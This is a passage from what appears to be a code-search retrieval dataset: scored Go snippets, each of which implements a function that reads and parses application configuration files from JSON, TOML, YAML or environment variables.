\"config\",\n\t\t\t}).Warn(\"Unable to bind environment var as a config variable\")\n\n\t\t} else {\n\t\t\tcfgLog.WithFields(log.Fields{\n\t\t\t\t\"configkey\": cfgKey,\n\t\t\t\t\"envvar\": envVar,\n\t\t\t\t\"module\": \"config\",\n\t\t\t}).Info(\"Binding environment var as a config variable\")\n\n\t\t}\n\n\t}\n\n\treturn cfg, err\n}", "title": "" }, { "docid": "5a7fb47bfcb9e93cffbd5ed249f4af83", "score": "0.700704", "text": "func (cl *CloudCfg) ReadConfig() {\n\tjsonFile, err := os.OpenFile(configFile, os.O_RDONLY, 0755)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tbyteValue, _ := ioutil.ReadAll(jsonFile)\n\n\terr = json.Unmarshal(byteValue, &cl.Cfg.ConfigItems)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tjsonFile.Close()\n}", "title": "" }, { "docid": "2d8c3ddcd8dc78588b9fada1298d2b6c", "score": "0.6987642", "text": "func ReadConfig(configFilePath string) (*Config, error) {\n\tvar cfg Config\n\n\tif err := defaults.ReadFromJSON(configFilePath, \"./config/comparison.json\", &cfg); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &cfg, nil\n}", "title": "" }, { "docid": "b048db888b93ccebcd03aaed58381fbd", "score": "0.69670224", "text": "func ReadConfig() (config *Config, err error) {\n\tf, err := os.OpenFile(\"config.json\", os.O_RDWR, 0666)\n\tdefer f.Close()\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tb := make([]byte, 1024)\n\tvar bytesRead int\n\n\tbytesRead, err = f.Read(b)\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif err = json.Unmarshal(b[:bytesRead], &config); err != nil {\n\t\treturn\n\t}\n\n\tif b, err = json.MarshalIndent(config, \"\", \" \"); err != nil {\n\t\treturn\n\t}\n\n\tf.Seek(0, 0)\n\t_, err = f.Write(b)\n\n\treturn\n}", "title": "" }, { "docid": "d2497d69406aa716c96c7d4222af3bba", "score": "0.6963206", "text": "func (sco *sumdbClientOps) ReadConfig(file string) ([]byte, error) {\n\tif sco.loadOnce.Do(sco.load); sco.loadError != nil {\n\t\treturn nil, sco.loadError\n\t}\n\n\tif file == \"key\" {\n\t\treturn []byte(sco.envGOSUMDB), nil\n\t}\n\n\tif strings.HasSuffix(file, \"/latest\") {\n\t\t// Empty result means empty tree.\n\t\treturn []byte{}, nil\n\t}\n\n\treturn nil, fmt.Errorf(\"unknown config %s\", file)\n}", "title": "" }, { "docid": "0d21c217f5c529b81e716f15da9bb068", "score": "0.6962206", "text": "func (a *app) ReadConfig(configFile string) error {\n\ta.logger.Trace().Printf(\"[ReadConfig] opening '%s'\", configFile)\n\tf, err := os.Open(configFile)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Can't open configuration file: %v\", err)\n\t}\n\tdefer f.Close()\n\terr = json.NewDecoder(f).Decode(&a.Settings)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Can't decode configuration file: %v\", err)\n\t}\n\terr = a.Settings.CheckPath()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "511ac6e4870d4f24fa58dfb3663b0ea8", "score": "0.69503504", "text": "func readConfig(cfgPath string) (*Config, error) {\n\tprintInfo(\"Reading config file.\\nUsing: %s\\n\", cfgPath)\n\traw, err := ioutil.ReadFile(cfgPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcfg := new(Config)\n\tjson.Unmarshal(raw, cfg)\n\n\treturn cfg, nil\n}", "title": "" }, { "docid": "36843df1d756668b51307e955b11318e", "score": "0.6946727", "text": "func ReadConfig() (Config, error) {\n\tfile, err := os.Open(\"config/config.json\")\n\tif err != nil {\n\t\treturn Config{}, err\n\t}\n\tdefer file.Close()\n\tdecoder := json.NewDecoder(file)\n\terr = decoder.Decode(&GlobalConfig)\n\treturn GlobalConfig, err\n}", "title": "" }, { "docid": "cd7664bcb9566b51eb0c6a51991846e1", "score": "0.69362444", "text": "func ReadConfig(path string) (*ServerConfig, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tdata, err := ioutil.ReadAll(file)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdata = base.ConvertBackQuotedStrings(data)\n\tvar config *ServerConfig\n\tif err := json.Unmarshal(data, &config); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Validation:\n\tfor name, dbConfig := range config.Databases {\n\t\tdbConfig.name = name\n\t\tif dbConfig.Bucket == nil {\n\t\t\tdbConfig.Bucket = &dbConfig.name\n\t\t}\n\t\tif dbConfig.Server == nil {\n\t\t\tdbConfig.Server = &DefaultServer\n\t\t}\n\t\tif dbConfig.Pool == nil {\n\t\t\tdbConfig.Pool = &DefaultPool\n\t\t}\n\t}\n\treturn config, nil\n}", "title": "" }, { "docid": "e778108291ef5fed79ea4017954647f9", "score": "0.69223255", "text": "func ReadConfig(path string) (*Config, error) {\n\tvar conf *Config\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdecoder := json.NewDecoder(file)\n\terr = decoder.Decode(&conf)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to read config: %v\", err)\n\t}\n\treturn conf, nil\n}", "title": "" }, { "docid": "7e4edcaf4163ea8ce6b3e37ccf2bc445", "score": "0.6895786", "text": "func read(file_name string) (*Configuration, error) {\n\tfile, err := os.Open(file_name)\n\tif err == nil {\n\t\tdecoder := json.NewDecoder(file)\n\t\terr := decoder.Decode(Config)\n\t\tif err == nil {\n\t\t\tlog.Infof(\"Read config: %s\", file_name)\n\t\t} else {\n\t\t\tlog.Fatal(\"Cannot read config file:\", file_name, err)\n\t\t}\n\t}\n\treturn Config, err\n}", "title": "" }, { "docid": "81f19a0166db5bf40fd7940563dbad6b", "score": "0.68902165", "text": "func ReadConfiguration(appname string, config interface{}) error {\n\tusr, err := user.Current()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfinalPath := path.Join(usr.HomeDir, \".\"+appname, \"config.json\")\n\tjsonFile, err := open(finalPath)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer jsonFile.Close()\n\n\tbyteValue, _ := ioutil.ReadAll(jsonFile)\n\n\tjson.Unmarshal(byteValue, &config)\n\treturn nil\n}", "title": "" }, { "docid": "0b592f188bc407cabb8afa2600ab86a2", "score": "0.6878447", "text": "func readConfig(pwd string) Config {\n\tconfigPath := pwd + \"/bingo-config.json\"\n\tdat, err := ioutil.ReadFile(configPath)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tfmt.Println(\"Writing template config file to your current directory\")\n\t\terr = ioutil.WriteFile(configPath, []byte(configTemplate), 0644)\n\t\tif err != nil {\n\t\t\tpanic(err.Error())\n\t\t}\n\t\tos.Exit(0)\n\t}\n\t// fmt.Println(string(dat))\n\treturn parseConfig(string(dat))\n}", "title": "" }, { "docid": "0d780d44774a015d6945f1c8cb3267b3", "score": "0.6872239", "text": "func readConfig(filename string) Configuration {\n\t// Open our jsonFile\n\tjsonFile, err := os.Open(filename)\n\t// if we os.Open returns an error then handle it\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\t// defer the closing of our jsonFile so that we can parse it later on\n\tdefer jsonFile.Close()\n\n\t// read our opened JSONfile as a byte array.\n\tbyteValue, _ := ioutil.ReadAll(jsonFile)\n\n\t// Initialize Configuration struct var\n\tvar conf Configuration\n\n\t// Create the struct\n\tjson.Unmarshal(byteValue, &conf)\n\n\treturn conf\n}", "title": "" }, { "docid": "6413898ee472e396bbb4c51b30e4f529", "score": "0.68565357", "text": "func (b *Bot) readConfig() {\n\traw, err := ioutil.ReadFile(b.ConfigPath)\n\tif err != nil {\n\t\tLog.Fatal(err.Error())\n\t}\n\n\terr = json.Unmarshal(raw, &b.Config)\n\tif err != nil {\n\t\tLog.Fatal(err.Error())\n\t}\n\n\tLog.Info(\"Config file loaded.\")\n}", "title": "" }, { "docid": "2f25ab9aa097e55393023c595072b31d", "score": "0.68468225", "text": "func ReadConfig(out interface{}) error {\n\tconfigDir, err := filepath.Abs(filepath.Dir(os.Args[0]))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcontent, err := ioutil.ReadFile(configDir + string(os.PathSeparator) + \"config.yml\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttextContent := string(content)\n\tmatches := variableRegex.FindAllStringSubmatch(textContent, -1)\n\tfor _, match := range matches {\n\t\tvalue := \"\"\n\t\tif match[1] != \"\" {\n\t\t\tval, exists := os.LookupEnv(match[1])\n\t\t\tvalue = val\n\t\t\tif !exists {\n\t\t\t\tvalue = match[3]\n\t\t\t}\n\t\t}\n\t\ttextContent = strings.Replace(textContent, match[0], value, -1)\n\t}\n\n\treturn yaml.Unmarshal([]byte(textContent), out)\n}", "title": "" }, { "docid": "5f58426e4f9627ee0f04dc4b4e1f909b", "score": "0.6842108", "text": "func Read(filename string, config interface{}) error {\n\tconfigValue := reflect.ValueOf(config)\n\tif typ := configValue.Type(); typ.Kind() != reflect.Ptr || typ.Elem().Kind() != reflect.Struct {\n\t\treturn fmt.Errorf(\"config should be a pointer to a struct type\")\n\t}\n\n\tif err := readFile(filename, config); err != nil {\n\t\tfmt.Printf(\"Error reading config file: %v\", err)\n\t}\n\n\tif err := readEnv(config); err != nil {\n\t\treturn errors.New(fmt.Sprintf(\"Error reading ENV variables: %v\", err))\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "5053d300ba38c0169a19b5e5a9fc4ba6", "score": "0.68370485", "text": "func readConfig(path string) (*config, error) {\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to read config file\")\n\t}\n\tconf := &config{}\n\tif err := json.Unmarshal(data, conf); err != nil {\n\t\treturn nil, errors.New(\"failed to unmarshal config data\")\n\t}\n\treturn conf, nil\n}", "title": "" }, { "docid": "eb4e8459e22eb0fe2471eaaf418e13e6", "score": "0.6815873", "text": "func (c *Config) Read(file string) error {\n\trenameLegacy()\n\n\tif file == \"\" {\n\t\thome, err := c.homeDir()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfile = filepath.Join(home, File)\n\t}\n\n\tif _, err := os.Stat(file); err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\tc.configure()\n\t\t\treturn nil\n\t\t}\n\t\treturn err\n\t}\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\n\td := json.NewDecoder(f)\n\terr = d.Decode(&c)\n\tif err != nil {\n\t\treturn err\n\t}\n\tc.SavePath(file)\n\tc.configure()\n\treturn nil\n}", "title": "" }, { "docid": "c906f9440d24f059403a1f5ba12c2abc", "score": "0.680365", "text": "func Read(location string) (*Config, error) {\n\tcontent, err := ioutil.ReadFile(location)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to open config file\")\n\t}\n\tconf := Defaults()\n\terr = json.Unmarshal(content, conf)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to parse config file\")\n\t}\n\treturn conf, nil\n}", "title": "" }, { "docid": "06a4b4f99535ff2a20ec2fd060ed2667", "score": "0.6803233", "text": "func readConfig (loc string) (config config_t, err error) {\n //Read in the eggs\n configFile, err := os.Open(loc) //try the file\n \n if err == nil {\n defer configFile.Close()\n jsonParser := json.NewDecoder(configFile)\n err = jsonParser.Decode(&config)\n if err == nil {\n if len(config.Task.IP) < 4 { \n err = fmt.Errorf(\"ip for the task appears invalid\") \n } else if config.Task.Port < 1 { \n err = fmt.Errorf(\"port for the task appears invalid\") \n } else if len(config.Task.Actions) < 1 { \n err = fmt.Errorf(\"Task has no actions\") \n }\n }\n } else {\n err = fmt.Errorf(\"Unable to open '%s' file :: \" + err.Error(), loc)\n }\n return\n}", "title": "" }, { "docid": "007ddfea50bcac19695ac5f82bc65bd8", "score": "0.68029904", "text": "func (ec *ExecutionContext) readConfig() error {\n\t// need to get existing viper because https://github.com/spf13/viper/issues/233\n\tv := ec.Viper\n\tv.SetEnvPrefix(\"HASURA_GRAPHQL\")\n\tv.AutomaticEnv()\n\tv.SetConfigName(\"config\")\n\tv.SetDefault(\"endpoint\", \"http://localhost:8080\")\n\tv.SetDefault(\"admin_secret\", \"\")\n\tv.SetDefault(\"access_key\", \"\")\n\tv.AddConfigPath(ec.ExecutionDirectory)\n\terr := v.ReadInConfig()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"cannot read config from file/env\")\n\t}\n\tadminSecret := v.GetString(\"admin_secret\")\n\tif adminSecret == \"\" {\n\t\tadminSecret = v.GetString(\"access_key\")\n\t}\n\tec.ServerConfig = &ServerConfig{\n\t\tEndpoint: v.GetString(\"endpoint\"),\n\t\tAdminSecret: adminSecret,\n\t}\n\treturn ec.ServerConfig.ParseEndpoint()\n}", "title": "" }, { "docid": "dec0f02856f8d6db5a2ac67bc8cf03e2", "score": "0.6787439", "text": "func read(fileName string) (*Configuration, error) {\n\tif fileName == \"\" {\n\t\treturn Config, fmt.Errorf(\"Empty file name\")\n\t}\n\tfile, err := os.Open(fileName)\n\tif err != nil {\n\t\treturn Config, err\n\t}\n\tdecoder := json.NewDecoder(file)\n\terr = decoder.Decode(Config)\n\tif err == nil {\n\t\tlog.Infof(\"Read config: %s\", fileName)\n\t} else {\n\t\tlog.Fatal(\"Cannot read config file:\", fileName, err)\n\t}\n\tif err := Config.postReadAdjustments(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn Config, err\n}", "title": "" }, { "docid": "0ab828252e435f544daf9b43c84ca2cc", "score": "0.6770426", "text": "func InitConfig(path string) Configuration {\n\tconfig := Configuration{}\n\treader, err := os.Open(path)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdecoder := json.NewDecoder(reader)\n\tdecoder.Decode(&config)\n\tEnvironmentDetail = config\n\treturn config\n}", "title": "" }, { "docid": "c6817b6252ebe96f047299f6931648fe", "score": "0.6762357", "text": "func readConfigVars(configFile string) map[string]string {\n\tfile, _ := os.Open(configFile)\n\tdecoder := json.NewDecoder(file)\n\tvars := make(map[string]string)\n\terr := decoder.Decode(&vars)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\tfor key := range vars {\n\t\tif os.Getenv(key) != \"\" {\n\t\t\tvars[key] = os.Getenv(key)\n\t\t}\n\t}\n\treturn vars\n}", "title": "" }, { "docid": "6b85f319e1c7924c026559831be94ddc", "score": "0.67618924", "text": "func (c *ConfigMap) readConfig() {\n\tpath := c.configPath\n\tfi, err := os.Open(path)\n\tutils.ErrHadle(err)\n\tdefer fi.Close()\n\tbr := bufio.NewReader(fi)\n\n\t// write config content before clear it.\n\tc.Clear()\n\n\tfor {\n\t\ta, _, co := br.ReadLine()\n\t\tif co == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tcontent := string(a)\n\t\tcmds := strings.Split(content, \":\")\n\t\tif len(cmds) > 1 {\n\t\t\tc.value[cmds[0]] = cmds[1]\n\t\t}\n\t}\n}", "title": "" }, { "docid": "db8e0110f58f3ec20897f9f994db2b46", "score": "0.6756139", "text": "func (c *DeploymentConfig) Read(name string) error {\n\tc.ConfigName = strings.Join([]string{name, \"conf\"}, \".\")\n\tlog.Print(\"Reading \" + c.ConfigName)\n\tc.RefCfg = viper.New()\n\tc.RefCfg.SetConfigType(\"toml\")\n\tc.RefCfg.SetConfigName(c.ConfigName)\n\tc.RefCfg.AddConfigPath(c.DirName)\n\tverr := c.RefCfg.ReadInConfig()\n\tif verr != nil {\n\t\tlog.Printf(\"Error when reading config %v: %v\", c.ConfigName, verr)\n\t\treturn verr\n\t}\n\tc.Commands = c.RefCfg.GetStringSlice(\"commands\")\n\tc.Env = c.RefCfg.GetStringSlice(\"env\")\n\tif c.RefCfg.IsSet(\"dir\") {\n\t\tc.RunDirName = c.RefCfg.GetString(\"dir\")\n\t} else {\n\t\tc.RunDirName = c.DirName\n\t}\n\tif c.RefCfg.InConfig(\"log-to\") {\n\t\tc.LogFile = c.RefCfg.GetString(\"log-to\")\n\t}\n\tif c.RefCfg.IsSet(\"secret\") {\n\t\tsecret := c.RefCfg.GetString(\"secret\")\n\t\tc.Secret = &secret\n\t}\n\tif c.RefCfg.IsSet(\"secret-header\") {\n\t\tsecretHeader := c.RefCfg.GetString(\"secret-header\")\n\t\tc.SecretHeader = &secretHeader\n\t}\n\tif c.RefCfg.IsSet(\"allowed-methods\") {\n\t\tc.AllowedMethods = RequestMethodsFromStrings(c.RefCfg.GetStringSlice(\"allowed-methods\"))\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "3ff5dbca43c8cece8328e972f5b96497", "score": "0.67535436", "text": "func Read(configPath string) (*Config, error) {\n\tconfigFile, err := ioutil.ReadFile(configPath)\n\tif nil != err {\n\t\treturn nil, fmt.Errorf(\"Could not read config file in %v\", configPath)\n\t}\n\n\tvar config Config\n\tjson.Unmarshal(configFile, &config)\n\treturn &config, nil\n}", "title": "" }, { "docid": "cff2c2cd59f5864986dba8c605149742", "score": "0.6751888", "text": "func readConfigFile(file string) (*Configuration, error) {\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\treturn defaultConfiguration(), err\n\t}\n\tdefer f.Close()\n\n\t// Setup some defaults here\n\t// If the json file has values in it, the defaults will be overwritten\n\tconf := defaultConfiguration()\n\n\t// Read the configuration from json file\n\tdecoder := json.NewDecoder(f)\n\tdecoder.DisallowUnknownFields()\n\terr = decoder.Decode(conf)\n\tif err != nil {\n\t\treturn conf, err\n\t}\n\n\treturn conf, nil\n}", "title": "" }, { "docid": "65427d61576f0cc21228f7017063500b", "score": "0.6746585", "text": "func ReadConfig(typeConfig string) (config models.Config) {\n\tfilename := \"config/\" + typeConfig + \".config\"\n\tbody, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\tlog.Print(err)\n\t}\n\tjson.Unmarshal([]byte(body), &config)\n\n\treturn\n}", "title": "" }, { "docid": "c9ff702589809b116f4f464e8834d217", "score": "0.67368746", "text": "func setupConfig(filename string) (common.MasterConfig, error) {\n config := common.MasterConfig{}\n file, err := os.Open(filename)\n if err != nil {\n return config, err\n }\n defer file.Close()\n decoder := json.NewDecoder(file)\n err = decoder.Decode(&config)\n if err != nil {\n return config, err\n }\n return config, nil\n}", "title": "" }, { "docid": "4607db76eda5f280c15f4f73c85c48de", "score": "0.67306155", "text": "func (c *Config) Read(configFile string) (err error) {\n\n\tif configFile == \"\" {\n\t\tconfigFile = CONFIG_FILE\n\t}\n\n\tif _, err := toml.DecodeFile(configFile, c); err != nil {\n\t\treturn err\n\t}\n\n\tc.setDefaultValues()\n\n\treturn nil\n}", "title": "" }, { "docid": "9fd2deea607d58a4f3cc094494988503", "score": "0.672315", "text": "func ReadConfigs(filepath string) (result Configs, err error) {\n\tvar file []byte\n\tfile, err = os.ReadFile(filepath)\n\tif err == nil {\n\t\tif err = json.Unmarshal(file, &result); err == nil {\n\t\t\treturn result, nil\n\t\t}\n\t}\n\n\treturn Configs{}, err\n}", "title": "" }, { "docid": "e1ada4d5d981638d30534bebaaea4891", "score": "0.6722462", "text": "func Read() (config App, err error) {\n\tvar data []byte\n\n\tif data, err = ioutil.ReadFile(ConfigFilename); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(data, &config)\n\treturn\n}", "title": "" }, { "docid": "5282340a22bb6f26932103b5f94383a1", "score": "0.6721523", "text": "func ReadConfigFile(file string, v interface{}) error {\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\tdecoder := json.NewDecoder(f)\n\treturn decoder.Decode(v)\n}", "title": "" }, { "docid": "58f3c588ab53ecdd171d5dd8105398ed", "score": "0.67163116", "text": "func ReadConfig(filePath string) (*Config, error) {\n\tconfig := new(Config)\n\tdata, err := ioutil.ReadFile(filePath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = json.Unmarshal(data, config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tconfig.CacheExpiry = time.Duration(config.CacheExpiry * time.Second)\n\treturn config, nil\n}", "title": "" }, { "docid": "a73c05c1effc32695aad8c3d7ac61e6b", "score": "0.6687644", "text": "func readJson(file string) (*ConsulProxyConfig, error) {\n\tdata, readErr := ioutil.ReadFile(file)\n\tif readErr != nil {\n\t\tlog.Fatal(\"Error reading config file\", file, readErr)\n\t\treturn nil, readErr\n\t}\n\treturn parseConfig(data), nil\n}", "title": "" }, { "docid": "c645c5beca520728d38c1036f776917b", "score": "0.66618496", "text": "func (c *AuthCnfg) ReadConfig(privateFile string) error {\n\tjsonFile, err := os.Open(privateFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() { _ = jsonFile.Close() }()\n\n\tbyteValue, _ := io.ReadAll(jsonFile)\n\treturn c.ParseConfig(byteValue)\n}", "title": "" }, { "docid": "1e42b421c53e10e39dba44adf86a7213", "score": "0.6661505", "text": "func ReadConfig(envName, configName string) ([]byte, error) {\n\td, err := GetConfigsDir(envName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcfgFile := filepath.Join(d, configName)\n\tb, err := ioutil.ReadFile(filepath.Clean(cfgFile))\n\tif os.IsNotExist(err) {\n\t\treturn []byte{}, nil\n\t}\n\treturn b, err\n}", "title": "" }, { "docid": "501f002d611da0d29ea471b0db48d57a", "score": "0.66590387", "text": "func (c *Config) read() error {\n\tdata, err := ioutil.ReadFile(filepath.Join(c.ExcavatorDir, \"worker.json\"))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn json.Unmarshal(data, &c)\n}", "title": "" }, { "docid": "75a5f8e14762b58b82eb4451646c93aa", "score": "0.6653145", "text": "func Read() (*Config, error) {\n\tvar cfg Config\n\tif err := envconfig.Process(\"\", &cfg); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &cfg, nil\n}", "title": "" }, { "docid": "47e8d9333bb0c73f696ed42f84cf91b4", "score": "0.6636325", "text": "func readSettingsJSON() {\n\tdata, err := ioutil.ReadFile(settingsConfig)\n\tvar settings Config\n\terr = json.Unmarshal(data, &settings)\n\tconfig = &settings\n\tif err != nil {\n\t\tlogErrors(err)\n\t\tos.Exit(0)\n\t}\n}", "title": "" }, { "docid": "6bf6a171a844016706ef36af042f34c1", "score": "0.6620402", "text": "func ReadConfig(baseDir string) error {\n\tv := viper.New()\n\tv.SetConfigName(\"oauth2\")\n\tv.SetConfigType(\"yml\")\n\tv.AddConfigPath(baseDir)\n\tv.AutomaticEnv()\n\tif err := v.ReadInConfig(); err != nil {\n\t\treturn err\n\t}\n\treturn v.Unmarshal(&Config)\n}", "title": "" }, { "docid": "6cd9d27264fd162a1a6db86709d8a522", "score": "0.6604662", "text": "func ReadConfig(filePath string) (*Config, error) {\n\tbytes, err := os.ReadFile(filePath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read a file: %w\", err)\n\t}\n\n\tvar conf *Config\n\terr = json.Unmarshal(bytes, &conf)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to parse a config: %w\", err)\n\t}\n\n\treturn conf, nil\n}", "title": "" }, { "docid": "15c82ee8876879337a9a5023645f2af4", "score": "0.6598996", "text": "func Load(env string) *Config {\n\tjsonFile, err := ioutil.ReadFile(\"config.\" + env + \".json\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tvar config *Config\n\n\tjson.Unmarshal([]byte(jsonFile), &config)\n\n\tif config.Env == \"\" {\n\t\tconfig.Env = env\n\t}\n\n\treturn config\n}", "title": "" }, { "docid": "cc34eace85c6a8e41903d9d80218d1c7", "score": "0.6597157", "text": "func ReadConfigFromFile() Config {\n\n\tfile, fileErr := ioutil.ReadFile(\"./config.json\")\n\tif fileErr != nil {\n\t\tfmt.Printf(\"File error: %v\\n\", fileErr)\n\t\tos.Exit(1)\n\t}\n\n\tvar jsonType Config\n\tjsonErr := json.Unmarshal(file, &jsonType)\n\tif jsonErr != nil {\n\t\tfmt.Printf(\"Json parsing error: %v\\n\", jsonErr)\n\t\tos.Exit(1)\n\t}\n\n\treturn jsonType\n}", "title": "" }, { "docid": "6348558ed52aa2a79f10be5694abaa67", "score": "0.65813124", "text": "func ReadEnvConfig(config ConfigWrapper, appconfigPath, env string) error {\n\treturn readAppConfig(config, filepath.Join(appconfigPath, env+\".json\"))\n}", "title": "" }, { "docid": "af03945e413bb48acbd988f6d911f6d0", "score": "0.6563081", "text": "func Read() (*Config, error) {\n\tif conf != nil {\n\t\treturn conf, nil\n\t}\n\tloc, err := GetLocation()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to get config location\")\n\t}\n\tcontent, err := ioutil.ReadFile(loc)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to open config file\")\n\t}\n\tconf = Defaults()\n\terr = json.Unmarshal(content, conf)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to parse config file\")\n\t}\n\treturn conf, nil\n}", "title": "" }, { "docid": "e12fdbd8e83b7584a6cac048678132f5", "score": "0.65602845", "text": "func ConfigRead(path string, key string) string {\n\tif path == \"\" {\n\t\tpath = DefaultConfigPath\n\t}\n\tb, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\tlog.Println(\"--> find no file: \", path)\n\t\treturn \"\"\n\t}\n\n\tcontent := string(b)\n\tlines := strings.Split(content, \"\\n\")\n\n\tfor _, line := range lines {\n\t\tkv := strings.Split(line, \"=\")\n\t\tif kv[0] == key {\n\t\t\tlog.Printf(\"--> match key[%s], value is: %s\\n\", key, kv[1])\n\t\t\treturn strings.Trim(kv[1], \"\\\"\")\n\t\t}\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "f6bbfb4d809224767bd1998757501bf7", "score": "0.6559345", "text": "func readConfig() (*config.Config, error) {\n\n\tv := viper.New()\n\tv.SetEnvPrefix(\"order\")\n\tv.AutomaticEnv()\n\tc := &config.Config{TableName: v.GetString(\"table\"), Workflow: v.GetString(\"workflow\")}\n\tlog.Printf(\"Received config %#v\", c)\n\treturn c, nil\n}", "title": "" }, { "docid": "1fda3cc54cea0f9040aa38464c6d869f", "score": "0.6549292", "text": "func readConfig(filename string) (*Config, error) {\n\t// Read the secrets file\n\tdata, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\tpwd, _ := os.Getwd()\n\t\tfullPath := filepath.Join(pwd, filename)\n\t\treturn nil, fmt.Errorf(missingClientSecretsMessage, fullPath)\n\t}\n\n\tcfg := new(Config)\n\terr = json.Unmarshal(data, &cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(cfg.ClientId) == 0 {\n\t\treturn nil, errors.New(\"readConfig: No client_id in config file.\")\n\t}\n\tif len(cfg.ClientSecret) == 0 {\n\t\treturn nil, errors.New(\"readConfig: No client_secret in config file.\")\n\t}\n\tif len(cfg.RedirectURI) == 0 {\n\t\treturn nil, errors.New(\"readConfig: No redirect_uri in config file.\")\n\t}\n\tif len(cfg.AuthURI) == 0 {\n\t\treturn nil, errors.New(\"readConfig: No auth_uri in config file.\")\n\t}\n\tif len(cfg.TokenURI) == 0 {\n\t\treturn nil, errors.New(\"readConfig: No token_uri in config file.\")\n\t}\n\n\treturn &Config{\n\t\tClientId: cfg.ClientId,\n\t\tClientSecret: cfg.ClientSecret,\n\t\tAuthURI: cfg.AuthURI,\n\t\tTokenURI: cfg.TokenURI,\n\t\tRedirectURI: cfg.RedirectURI,\n\t}, nil\n}", "title": "" }, { "docid": "3418fad41b13fac1d718851c8dd51d0a", "score": "0.65410745", "text": "func (c *Config) ReadFrom(r io.ReadCloser) error {\n\tb, err := ioutil.ReadAll(r)\n\tif err == nil {\n\t\tif b != nil && len(b) != 0 {\n\t\t\terr = json.Unmarshal(b, &c)\n\t\t}\n\t}\n\tc.setDefaults()\n\treturn err\n}", "title": "" }, { "docid": "6d63324089908e3f07032cb0b0bf5a17", "score": "0.65401185", "text": "func Read(cfg Configuration) (err error) {\n\tvar in []byte\n\tif in, err = ioutil.ReadFile(cfg.File()); err != nil {\n\t\treturn\n\t}\n\treturn json.Unmarshal(in, cfg)\n}", "title": "" }, { "docid": "56416c82cf46927decf39fb8bfa51905", "score": "0.6538778", "text": "func parseConfig() error {\n\tfile, err := os.Open(CONFIGPATH)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer file.Close()\n\tdecoder := json.NewDecoder(file)\n\terr = decoder.Decode(&config)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b88ed265ec4242d6f446c24ffbc72de6", "score": "0.65341616", "text": "func (cfg *Config) ReadConfig(configFilePath *string) {\n\n\tif Exists(*configFilePath) == false {\n\t\tglog.Fatal(\"Given config file does not exists/no authorization (Given file was \", *configFilePath, \")\")\n\t}\n\n\tdat, err := ioutil.ReadFile(*configFilePath)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Get struct data type from json file\n\terr = json.Unmarshal(dat, &cfg)\n\tif err != nil {\n\t\tglog.Fatal(\"Unable to read config file (\", *configFilePath, \"). Are you sure this is a valid JSON config file? Nested error was: \", err)\n\t}\n\n\t// Check if temp dir exists (required for following steps)\n\tif Exists(cfg.WorkDir) == false {\n\t\terr := os.MkdirAll(cfg.WorkDir, os.FileMode(0755))\n\t\tif err != nil {\n\t\t\tglog.Fatal(\"Given temporary working dir does not exist and I cannot create it. (Given temp dir was: \", cfg.WorkDir, \")\")\n\t\t}\n\t}\n\n\t// Check if output dir exists\n\tif Exists(cfg.OutputDir) == false {\n\t\terr := os.MkdirAll(cfg.OutputDir, 